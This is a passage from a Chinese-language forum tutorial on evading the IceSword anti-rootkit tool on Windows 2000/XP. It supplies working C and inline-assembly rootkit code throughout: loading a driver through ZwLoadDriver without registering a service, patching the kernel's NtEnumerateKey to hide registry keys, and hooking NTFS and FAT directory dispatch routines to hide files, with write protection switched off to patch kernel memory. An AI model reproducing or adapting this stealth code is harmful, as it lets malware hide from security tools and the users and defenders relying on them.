- 论坛徽章:
- 0
|
五、隐藏服务:\n\n 普通情况下加载驱动需要 OpenSCManager->CreateService->StartService,这样驱动就会跑到服务管理器中去注册一下自己,并且要隐藏这样加载驱动的服务,不是不行,只是太麻烦而且没效率了。要hook一大堆的服务函数。不过在逆向IS的时候发现了一个不需要去服务管理器注册而直接加载驱动的方法。就是使用ZwLoadDriver(这个函数通常是ring0中加载驱动时用,由于被Ntdll.dll导出,ring3就也能用了)进行直接加载。这样就不用去服务管理器中注册自己,并且这样加载的驱动windows系统工具中的“系统信息”查看器也查不到你,更不用说那些什么服务管理器之类的东东了。屡用不爽。下面介绍一下用法:\n\n 1、首先自己在注册表的服务项中添加一个自己的服务名字项。\n 2、在自己添加的服务名字项中添加一些驱动信息(其实就是手工实现CreateService()函数对注册表的那些操作),这些信息包括“ErrorControl”,“ImagePath”,“Start”,“Type”等等。你要手工设置这些键以及键值。\n\n按上面设置完后,来看看ZwLoadDriver的原形:\n\nNTSTATUS\n ZwLoadDriver(\n IN PUNICODE_STRING DriverServiceName );\n\n下面的代码给出了ZwLoadDriver的使用例子:\n\nAnotherWayStartService( TCHAR *szDir )\n{\n HKEY RegKey;\n HKEY hLicenses;\n DWORD disp;\n DWORD ErrorControl=NULL;\n DWORD ProcessID;\n DWORD Start=3;\n DWORD Type=1;\n LONG Regrt;\n\n DWORD ZwLoadDriver;\n DWORD RtlInitUnicodeString;\n \n UNICODE_STRING RegService;\n\n PCWSTR RegServicePath= L\"RegistryMachineSystemCurrentControlSetServices\neverdeath\";\n\n TCHAR DriverFilePath[MAX_PATH] = \"??\";\n\n\n Regrt = RegOpenKeyEx (\n HKEY_LOCAL_MACHINE,\n \"SYSTEMCurrentControlSetServices\",\n 0,\n KEY_CREATE_SUB_KEY + KEY_SET_VALUE,\n &hLicenses );\n\n if ( Regrt != ERROR_SUCCESS ) \n {\n return false;\n }\n\n Regrt=RegCreateKeyEx (\n hLicenses,\n \"neverdeath\",\n 0,\n \"\",\n REG_OPTION_NON_VOLATILE,\n KEY_ALL_ACCESS,\n NULL,\n &RegKey,\n &disp );\n\n if ( Regrt != ERROR_SUCCESS ) \n {\n return false;\n }\n\n Regrt = RegOpenKeyEx (\n HKEY_LOCAL_MACHINE,\n \"SYSTEMCurrentControlSetServices\neverdeath\",\n 0,\n KEY_CREATE_SUB_KEY + KEY_SET_VALUE,\n &RegKey );\n\n if ( Regrt != ERROR_SUCCESS ) \n {\n return false;\n }\n\n Regrt = RegSetValueEx (\n RegKey,\n \"ErrorControl\",\n NULL,\n REG_DWORD,\n (const unsigned char *)(&ErrorControl),\n 4 );\n\n if ( Regrt != ERROR_SUCCESS ) \n {\n return false;\n }\n \n strcat(DriverFilePath, szDir);\n\n Regrt = RegSetValueEx (\n RegKey,\n \"ImagePath\",\n NULL,\n REG_EXPAND_SZ,\n (const unsigned char *)(&DriverFilePath),\n strlen( DriverFilePath ) );\n\n if ( Regrt != ERROR_SUCCESS ) \n {\n return false;\n }\n\n\n Regrt = RegSetValueEx (\n RegKey,\n \"Start\",\n NULL,\n REG_DWORD,\n (const unsigned char *)(&Start),\n 4 );\n\n if ( Regrt != ERROR_SUCCESS ) \n {\n return false;\n }\n \n Regrt = RegSetValueEx ( \n RegKey,\n \"Type\",\n NULL,\n REG_DWORD,\n (const unsigned char *)(&Type),\n 4 );\n\n if ( Regrt != ERROR_SUCCESS ) \n {\n return false;\n }\n\n //还记得前面隐藏进程时,我们进程ID是从注册表中取的\n //下面就是把进程ID写入注册表,不会影响驱动的加载\n\n ProcessID=GetCurrentProcessId(); \n\n Regrt = RegSetValueEx (\n RegKey,\n \" rocessID\",\n NULL,\n REG_DWORD,\n (const unsigned char *)(& rocessID),\n 4 );\n\n if ( Regrt != ERROR_SUCCESS ) \n {\n return false;\n } \n \n CloseHandle( RegKey );\n\n\n ZwLoadDriver = (DWORD) GetProcAddress ( \n GetModuleHandle( \"ntdll.dll\" ), \n \"ZwLoadDriver\" );\n\n RtlInitUnicodeString = (DWORD) GetProcAddress( \n GetModuleHandle( \"ntdll.dll\" ), \n \"RtlInitUnicodeString\" );\n \n _asm\n {\n pushad\n push RegServicePath\n lea edi, RegService \n push edi\n call RtlInitUnicodeString //装载UNICODE字符\n\n lea edi, RegService\n push edi\n call ZwLoadDriver \n popad\n }\n\n return true;\n\n}\n\n请注意上面这段代码中加载驱动时所使用的注册表路径格式是:\n“RegistryMachineSystemCurrentControlSetServices\neverdeath”\n而不是:\n“HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices\neverdeath”\n也许你已经想到了那么卸载驱动会不会就是函数“ZwUnloadDriver”?自己试一下不就知道了:)\n\n\n六、隐藏注册表:\n\n IS处理注册表并没有什么新意,就是调用那些ZwCreateKey、ZwOpenKey、ZwQueryKey、ZwSetValueKey一类的注册表操作函数,通过伪造内核文件,所以这部分可以很轻松hook并实现隐藏。IS在这里玩了一个小花样,在XP下,IS会在把从ntoskrnl.exe读到的NtEnumerateKey起始地址的第三个字(注意是字,不是字节!)先加上0xD50后,再进行还原,因此你在伪造内核文件时必须先把自己构造的代码的第三个字减去0xD50后再写入到otoskrnl.exe中,否则就等着BSOD吧。而在2K中就不需要这些操作。这里主要是通过hook注册表函数NtEnumerateKey来隐藏我们注册中的“CurrentControlSetServices”下的 “neverdeath”项以及“CurrentControlSetEnumRoot”下的“LEGACY_NEVERDEATH”项。至于隐藏键与键值在这里就不说了,自己随手写一个就是了。顺便提一下,由于windows的regedit也是调用这些函数访问注册表,所以如果你在IS中隐藏了注册表也就等于在windows的regedit中隐藏了。以下代码在XP下测试通过,如要在2K或2K3中运行,请根据需要自己进行取舍。\n由于NtEnumerateKey没有被ntoskrnl.exe导出,这里利用\nNtEnumerateKey在服务表 偏移 = “NtDuplicateToken”在服务表中的偏移+2 \n来获取NtEnumerateKey地址。\n\nPCWSTR HideKey = L\"neverdeath\";\nPCWSTR HideKeyLEG = L\"LEGACY_NEVERDEATH\";\n\nunsigned char ResumCodeNtEnumerateKey[6];\nunsigned char CrackCodeNtEnumerateKey[6];\nunsigned char CrackCodeNtEnumerateKeyWriteFile[6];\n\ntypedef NTSTATUS ( *NTENUMERATEKEY ) (\n IN HANDLE KeyHandle,\n IN ULONG Index,\n IN KEY_INFORMATION_CLASS KeyInformationClass,\n OUT PVOID KeyInformation,\n IN ULONG Length,\n OUT PULONG ResultLength );\n\nNTENUMERATEKEY OldNtEnumerateKey;\n\ntypedef struct ServiceDescriptorEntry {\n unsigned int *ServiceTableBase;\n unsigned int *ServiceCounterTableBase; //Used only in checked build\n unsigned int NumberOfServices;\n unsigned char *ParamTableBase;\n} ServiceDescriptorTableEntry, *PServiceDescriptorTableEntry;\n\nextern PServiceDescriptorTableEntry KeServiceDescriptorTable;\n\nNTSTATUS NewNtEnumerateKey(\n\n IN HANDLE KeyHandle,\n IN ULONG Index,\n IN KEY_INFORMATION_CLASS KeyInformationClass,\n OUT PVOID KeyInformation,\n IN ULONG Length,\n OUT PULONG ResultLength )\n{\n NTSTATUS Status;\n PCWSTR KeyNamePtr;\n\n\n _asm //还原\n {\n pushad\n mov edi, OldNtEnumerateKey\n mov eax, dword ptr ResumCodeNtEnumerateKey[0]\n mov [edi], eax\n mov ax, word ptr ResumCodeNtEnumerateKey[4]\n mov [edi+4], ax\n popad\n }\n\n Status = ZwEnumerateKey ( \n KeyHandle,\n Index,\n KeyInformationClass,\n KeyInformation,\n Length,\n ResultLength );\n \n \n if ( Status == STATUS_SUCCESS )\n {\n _asm\n {\n push edi\n mov edi, KeyInformation\n add edi, 0x10\n mov KeyNamePtr, edi\n pop edi\n }\n if ( wcsstr(KeyNamePtr, HideKey)!=NULL || wcsstr(KeyNamePtr, HideKeyLEG) != NULL )\n {\n Index=Index+1;\n Status = OldNtEnumerateKey ( \n KeyHandle,\n Index,\n KeyInformationClass,\n KeyInformation,\n Length,\n ResultLength );\n }\n }\n \n _asm //替换\n {\n pushad\n mov edi, OldNtEnumerateKey\n mov eax, dword ptr CrackCodeNtEnumerateKey[0]\n mov [edi], eax\n mov ax, word ptr CrackCodeNtEnumerateKey[4]\n mov [edi+4], ax\n popad\n }\n return Status; \n\n}\nNTSTATUS GetOldNtEnumerateKey()\n{\n DWORD NtDuplicateTokenAddr;\n int i=0;\n\n NtDuplicateTokenAddr = GetFunctionAddr( L\"NtDuplicateToken\" );\n\n if ( NtDuplicateTokenAddr == NULL )\n {\n DbgPrint(\"Get NtQuerySystemInformation Addr Error!!\" ;\n return STATUS_DEVICE_CONFIGURATION_ERROR;\n }\n\n for (;;i++)\n {\n if ( NtDuplicateTokenAddr == (DWORD)(*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + i)) )\n {\n OldNtEnumerateKey = (NTENUMERATEKEY)(*(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase + (i+2)));\n break;\n }\n }\n return STATUS_SUCCESS;\n\n}\n\nNTSTATUS PatchNtEnumerateKey()\n{\n NTSTATUS Status;\n \n\n Status = GetOldNtEnumerateKey();\n\n if ( Status != STATUS_SUCCESS )\n {\n DbgPrint(\"Get NtQuerySystemInformation Addr Error!!\" ;\n return STATUS_DEVICE_CONFIGURATION_ERROR;\n }\n\n _asm //关中断\n {\n CLI \n MOV EAX, CR0 \n AND EAX, NOT 10000H \n MOV CR0, EAX \n }\n\n _asm\n {\n pushad\n //获取 NtEnumerateKey 函数的地址并保留该函数的起始六个字节\n mov edi, OldNtEnumerateKey\n mov eax, [edi]\n mov dword ptr ResumCodeNtEnumerateKey[0], eax\n mov ax, [edi+4]\n mov word ptr ResumCodeNtEnumerateKey[4], ax\n \n //构造要替换的代码,使得系统调用该函数时跳到我们构造的NewNtEnumerateKey去执行\n\n mov byte ptr CrackCodeNtEnumerateKey[0], 0x68\n mov byte ptr CrackCodeNtEnumerateKeyWriteFile[0],0x68\n lea edi, NewNtEnumerateKey\n mov dword ptr CrackCodeNtEnumerateKey[1], edi\n mov dword ptr CrackCodeNtEnumerateKeyWriteFile[1], edi\n mov byte ptr CrackCodeNtEnumerateKey[5], 0xc3\n mov byte ptr CrackCodeNtEnumerateKeyWriteFile[5], 0xc3\n \n //把第NtEnumerateKey的第三个字减去D50在送回\n mov ax, word ptr CrackCodeNtEnumerateKeyWriteFile[4]\n sub ax, 0xD50\n mov word ptr CrackCodeNtEnumerateKeyWriteFile[4], ax\n\n\n //把构造好的代码进行替换\n mov edi, OldNtEnumerateKey\n mov eax, dword ptr CrackCodeNtEnumerateKey[0]\n mov dword ptr[edi], eax\n mov ax, word ptr CrackCodeNtEnumerateKey[4]\n mov word ptr[edi+4], ax\n popad\n }\n\n _asm //开中断 \n {\n MOV EAX, CR0 \n OR EAX, 10000H \n MOV CR0, EAX \n STI \n }\n\n Status = RepairNtosFile(\n (DWORD)OldNtEnumerateKey,\n //(DWORD)(&CrackCodeNtEnumerateKey) 2k\n (DWORD)(&CrackCodeNtEnumerateKeyWriteFile) ); //XP\n return Status;\n\n}\n\n\n7、隐藏文件:\n\n 终于写到隐藏文件,在实现隐藏文件的过程中,越来越欣赏PJF。IS在获取文件列表的过程时,迂回战术简直玩到了另人匪夷所思的地步!我花了很多时间(好几次坐在机子面前十几个小时想的脑袋都绿了却一点收获都没有)才实现了不用IFS,不用attach文件设备直接而进行隐藏,当时我甚至去hook函数IoCallDriver函数(经常看到有些人hook这个函数失败,便造谣此函数不能hook,其实是可以的,但是确实很麻烦,如果你也想试试,为了让你少走弯路,好意提醒一下,请尽最大努力保护好寄存器!)来截获系统所有的IRP包,然后分析,真是差点没把我搞死!\n 普通情况下,我们是通过发送IRP_MJ_DIRECTORY_CONTROL(0xC)请求给FSD来获取文件列表的。获取后的信息存在IRP->UserBuffer(0x3c)中。但是你会发现IS在获取文件列表时并不发送IRP_MJ_DIRECTORY_CONTROL给FSD,而是发送IRP_MJ_DEVICE_CONTROL(0xE)请求给另外一个不知名设备。并且在该被请求完成后,你在完成的IRP数据中找不到任何有关文件名字的影子。或许你便开始点一只烟,盯着屏幕直发楞,直想:“这怎么可能呢?”(呵呵,也许pjf要的就是这种效果)。\n\n 邪恶的微软总是想方设法的企图蒙蔽我们,让我们忽略本质!内核里面的那些什么对象啊、设备啊、这个啊、那个啊、所有乱七八糟的东东,从本质上来讲还不都是一堆代码与数据。IS不发送IRP_MJ_DIRECTORY_CONTROL请求不代表它不会调用这个例程。\n\n 我对IS获取文件列表的猜想(IS的anti Debug太强, 为了今年之内把这个搞定,因此没时间再陪它耗下去了):\n\n 单独创造一个Device,这个Device的IRP_MJ_DEVICE_CONTROL例程中构造IRP与DEVICE_OBJECT后,直接调用IRP_MJ_DIRECTORY_CONTROL例程,这样就避免了向文件设备发送请求但是还能获取文件列表的目的了。关于在完成后的IRP包中无法获取文件名的功能,其实只要在直接调用IRP_MJ_DIRECTORY_CONTROL例程之后,把IRP->UserBuffer中的内容转移或加个密就轻易实现了。\n\n 虽然这只是猜想,但是为了验证我的想法。我单独写了个test证明我的想法是可行的。我不能确定IS就是这样做,但我能确定如果你这样做的话就能达到类似的效果。\n\n IS就是通过设置IO_COMPLETION_ROUTINE函数来第一时间处理完成后的结果,我们下面用的方法就是通过替换这个IO_COMPLETION_ROUTINE来抢先处理结果。我们处理完了再调用IS的IO_COMPLETION_ROUTINE函数。另外要说的是,由于IS用的MinorFunction是IRP_MN_QUERY_DIRECTORY,每次都肯定能返回一个文件名(哪怕已重复出现)。而你在自己的IO_COMPLETION_ROUTINE中如果检测到是自己要隐藏的文件名的话,不能不调用原先IS的IO_COMPLETION_ROUTINE,否则BSOD。因此你只能更改文件属性了,更改文件属性也能达到隐藏的目的。还记不记的以前DOS时代的[.]与[..]文件夹吗(那片笑声让我想起我的那些文件夹)。当返回你要隐藏的文件时信息,把这些信息全都替换成[.]或[..]文件夹属性(当然包括文件名信息了)就行了。\n\n 下面的代码先获取FSD设备的IRP_MJ_DIRECTORY_CONTROL分派函数的地址,然后对该函数进行hook。在我们构造的新的IRP_MJ_DIRECTORY_CONTROL分派函数中通过IO_STACK_LOCATION中的Length(+0x4)数值来判断是否时IS(IS的Length很特殊,是0xfe8。平常的都是0x1000),是的话就进行替换IO_COMPLETION_ROUTINE。\n\n 下的代码在FAT32、NTFS、NTFS&FAT32中测试通过,在纯Fat中也测试通过。\n\nPCWSTR HideDirectory =L\"neverdeath\";\nPCWSTR HideFile = L\"otoskrnl.exe\";\n\nDWORD NtfsUserbuf;\nDWORD NtfsFileName;\nDWORD NtfsLocaIrp;\n\nDWORD FatUserbuf;\nDWORD FatFileName;\nDWORD FatLocaIrp;\n\ntypedef NTSTATUS (*_DISPATCH) \n(\n IN PDEVICE_OBJECT DeviceObject,\n IN OUT PIRP Irp \n);\n\n_DISPATCH OldNtfsQueryDirectoryDispatch;\n_DISPATCH OldFatQueryDirectoryDispatch;\n\nPIO_COMPLETION_ROUTINE OldNtfsCompletionRuntine;\nPIO_COMPLETION_ROUTINE OldFatCompletionRuntine;\n\nNTSTATUS NewNtfsCompletionRuntine(\n IN PDEVICE_OBJECT DeviceObject,\n IN PIRP Irp,\n IN PVOID Context )\n{\n NTSTATUS Status;\n\n _asm\n {\n pushad\n mov edi, NtfsUserbuf\n add edi, 0x5e\n mov NtfsFileName, edi\n popad\n }\n if ( wcsstr( NtfsFileName, HideDirectory ) || wcsstr( NtfsFileName, HideFile ) )\n {\n _asm\n {\n pushad\n mov edi,NtfsUserbuf\n mov eax, 0x16\n mov dword ptr [edi+0x38], eax\n mov eax, 0x04\n mov dword ptr [edi+0x3c], eax\n mov eax, 0x002e002e\n mov dword ptr [edi+0x5e], eax\n popad\n }\n }\n Status = OldNtfsCompletionRuntine (\n DeviceObject,\n Irp,\n Context ); \n return Status;\n \n}\n\nNTSTATUS NewFatCompletionRuntine(\n IN PDEVICE_OBJECT DeviceObject,\n IN PIRP Irp,\n IN PVOID Context )\n{\n NTSTATUS Status;\n\n _asm\n {\n pushad\n mov edi, FatUserbuf\n add edi, 0x5e\n mov FatFileName, edi\n popad\n }\n if ( wcsstr( FatFileName, HideDirectory ) || wcsstr( FatFileName, HideFile ) )\n {\n _asm\n {\n pushad\n mov edi,FatUserbuf\n mov eax, 0x16\n mov dword ptr [edi+0x38], eax\n mov eax, 0x04\n mov dword ptr [edi+0x3c], eax\n mov eax, 0x002e002e\n mov dword ptr [edi+0x5e], eax\n popad\n }\n }\n Status = OldFatCompletionRuntine (\n DeviceObject,\n Irp,\n Context ); \n return Status;\n \n}\n\nNTSTATUS NewNtfsQueryDirectoryDispatch ( \n IN PDEVICE_OBJECT DeviceObject,\n IN OUT PIRP Irp )\n{\n NTSTATUS Status;\n DWORD QueryFile; \n\n\n _asm\n {\n pushad\n mov edi, OldNtfsQueryDirectoryDispatch\n mov eax, dword ptr ResumCodeNtfsQueryDirectoryDispatch[0]\n mov [edi], eax\n mov ax, word ptr ResumCodeNtfsQueryDirectoryDispatch[4]\n mov [edi+4], ax\n popad\n }\n\n _asm\n {\n pushad\n mov edi, Irp\n mov eax, [edi+0x60]\n mov ecx, [edi+0x3c]\n mov edi, [eax+4]\n mov QueryFile, edi\n mov NtfsUserbuf, ecx\n mov NtfsLocaIrp, eax\n popad\n }\n\n if ( QueryFile == 0xfe8 )\n {\n _asm\n {\n pushad\n mov edi, NtfsLocaIrp\n mov eax, [edi+0x1c]\n mov OldNtfsCompletionRuntine, eax\n lea eax, NewNtfsCompletionRuntine\n mov [edi+0x1c], eax\n popad\n } \n }\n\n\n Status = OldNtfsQueryDirectoryDispatch (\n DeviceObject,\n Irp );\n\n _asm \n {\n pushad\n mov edi, OldNtfsQueryDirectoryDispatch\n mov eax, dword ptr CrackCodeNtfsQueryDirectoryDispatch[0]\n mov [edi], eax\n mov ax, word ptr CrackCodeNtfsQueryDirectoryDispatch[4]\n mov [edi+4], ax\n popad\n }\n return Status;\n}\n\n\nNTSTATUS NewFatQueryDirectoryDispatch ( \n IN PDEVICE_OBJECT DeviceObject,\n IN OUT PIRP Irp )\n{\n NTSTATUS Status;\n DWORD QueryFile; \n\n\n _asm\n {\n pushad\n mov edi, OldFatQueryDirectoryDispatch\n mov eax, dword ptr ResumCodeFatQueryDirectoryDispatch[0]\n mov [edi], eax\n mov ax, word ptr ResumCodeFatQueryDirectoryDispatch[4]\n mov [edi+4], ax\n popad\n }\n\n _asm\n {\n pushad\n mov edi, Irp\n mov eax, [edi+0x60]\n mov ecx, [edi+0x3c]\n mov edi, [eax+4]\n mov QueryFile, edi\n mov FatUserbuf, ecx\n mov FatLocaIrp, eax\n popad\n }\n\n if ( QueryFile == 0xfe8 )\n {\n _asm\n {\n pushad\n mov edi, FatLocaIrp\n mov eax, [edi+0x1c]\n mov OldFatCompletionRuntine, eax\n lea eax, NewFatCompletionRuntine\n mov [edi+0x1c], eax\n popad\n } \n }\n\n\n Status = OldFatQueryDirectoryDispatch (\n DeviceObject,\n Irp );\n\n _asm \n {\n pushad\n mov edi, OldFatQueryDirectoryDispatch\n mov eax, dword ptr CrackCodeFatQueryDirectoryDispatch[0]\n mov [edi], eax\n mov ax, word ptr CrackCodeFatQueryDirectoryDispatch[4]\n mov [edi+4], ax\n popad\n }\n return Status;\n}\n\nNTSTATUS PatchFileSystemDevicePatDispatch()\n{\n NTSTATUS NtfsStatus;\n NTSTATUS FastFatStatus;\n UNICODE_STRING FileSystemName;\n PVOID FileDeviceObject;\n POBJECT_TYPE ObjectType;\n \n DbgPrint(\"My Driver Loaded!\" ;\n\n RtlInitUnicodeString( &FileSystemName, L\"FileSystemNtfs\" );\n\n NtfsStatus = ObReferenceObjectByName ( \n &FileSystemName, \n 0x40, \n NULL, \n NULL, \n &ObjectType, \n NULL, \n NULL, \n &FileDeviceObject ); \n if ( NtfsStatus == STATUS_SUCCESS )\n {\n\n _asm\n {\n pushad\n mov edi, FileDeviceObject\n mov eax, [edi+0x68]\n mov OldNtfsQueryDirectoryDispatch, eax\n popad\n }\n\n \n _asm\n {\n CLI \n MOV EAX, CR0 \n AND EAX, NOT 10000H \n MOV CR0, EAX \n }\n\n _asm\n {\n pushad\n mov edi, OldNtfsQueryDirectoryDispatch\n mov eax, [edi]\n mov dword ptr ResumCodeNtfsQueryDirectoryDispatch[0], eax\n mov ax, [edi+4]\n mov word ptr ResumCodeNtfsQueryDirectoryDispatch[4], ax\n \n mov byte ptr CrackCodeNtfsQueryDirectoryDispatch[0], 0x68\n lea edi, NewNtfsQueryDirectoryDispatch\n mov dword ptr CrackCodeNtfsQueryDirectoryDispatch[1], edi\n mov byte ptr CrackCodeNtfsQueryDirectoryDispatch[5], 0xC3\n\n mov edi, OldNtfsQueryDirectoryDispatch\n mov eax, dword ptr CrackCodeNtfsQueryDirectoryDispatch[0]\n mov dword ptr[edi], eax\n mov ax, word ptr CrackCodeNtfsQueryDirectoryDispatch[4]\n mov word ptr[edi+4], ax\n popad\n }\n\n\n _asm \n {\n MOV EAX, CR0 \n OR EAX, 10000H \n MOV CR0, EAX \n STI \n }\n }\n\n\n RtlInitUnicodeString( &FileSystemName, L\"FileSystemFastfat\" );\n\n FastFatStatus = ObReferenceObjectByName ( \n &FileSystemName, \n 0x40, \n NULL, \n NULL, \n &ObjectType, \n NULL, \n NULL, \n &FileDeviceObject ); \n if ( FastFatStatus == STATUS_SUCCESS )\n {\n _asm\n {\n pushad\n mov edi, FileDeviceObject\n mov eax, [edi+0x68]\n mov OldFatQueryDirectoryDispatch, eax\n popad\n }\n\n \n _asm\n {\n CLI \n MOV EAX, CR0 \n AND EAX, NOT 10000H \n MOV CR0, EAX \n }\n\n _asm\n {\n pushad\n mov edi, OldFatQueryDirectoryDispatch\n mov eax, [edi]\n mov dword ptr ResumCodeFatQueryDirectoryDispatch[0], eax\n mov ax, [edi+4]\n mov word ptr ResumCodeFatQueryDirectoryDispatch[4], ax\n \n mov byte ptr CrackCodeFatQueryDirectoryDispatch[0], 0x68\n lea edi, NewFatQueryDirectoryDispatch\n mov dword ptr CrackCodeFatQueryDirectoryDispatch[1], edi\n mov byte ptr CrackCodeFatQueryDirectoryDispatch[5], 0xC3\n\n mov edi, OldFatQueryDirectoryDispatch\n mov eax, dword ptr CrackCodeFatQueryDirectoryDispatch[0]\n mov dword ptr[edi], eax\n mov ax, word ptr CrackCodeFatQueryDirectoryDispatch[4]\n mov word ptr[edi+4], ax\n popad\n }\n\n\n _asm \n {\n MOV EAX, CR0 \n OR EAX, 10000H \n MOV CR0, EAX \n STI \n }\n\n\n \n }\n\n return ( NtfsStatus & FastFatStatus ); \n\n}\n以上代码只能实现在IS中隐藏文件,如果要想在普通情况下隐藏文件,可以hook服务表中的函数,也可以在上面构造新的分派函数中增加一些选择项就是了。但是记得hook服务表中的函数别忘了把构造后的数据写入otoskrnl.exe中,免得IS启动时失效。\n\n\n八、关于端口:\n\n 感觉是该停止的时候了,如果把这个也搞出来并且本文被灰鸽子作者之流A进他的作品的话,那就违背我的本意并且我的心也会也会难受的。因此就在这里止步吧! 呵呵,今年我想要学的东西,想要做的事情也都做完了。可以好好回去过年了。爽啊!最后祝各位圣诞快乐!特别时那些他乡的游子。记得打个电话回去问候哟!\n\n\n参考文章:\n\nwuyanfeng 《icesword 驱动部分分析》 //呵呵,希望大家给国产调试器一些支持 !! \ntombkeeper 《获取Windows 系统的内核变量》 http://www.xfocus.net/articles/200408/724.html\nJIURL 《IRP 乱杂谈》 http://jiurl.yeah.net/ \nJIURL 《JIURL玩玩Win2k进程线程篇 HANDLE_TABLE》http://jiurl.yeah.net/\nJIURL 《JIURL玩玩Win2k 对象》 http://jiurl.yeah.net/ \nsinister 《隐藏任意进程,目录/文件,注册表,端口》 |
|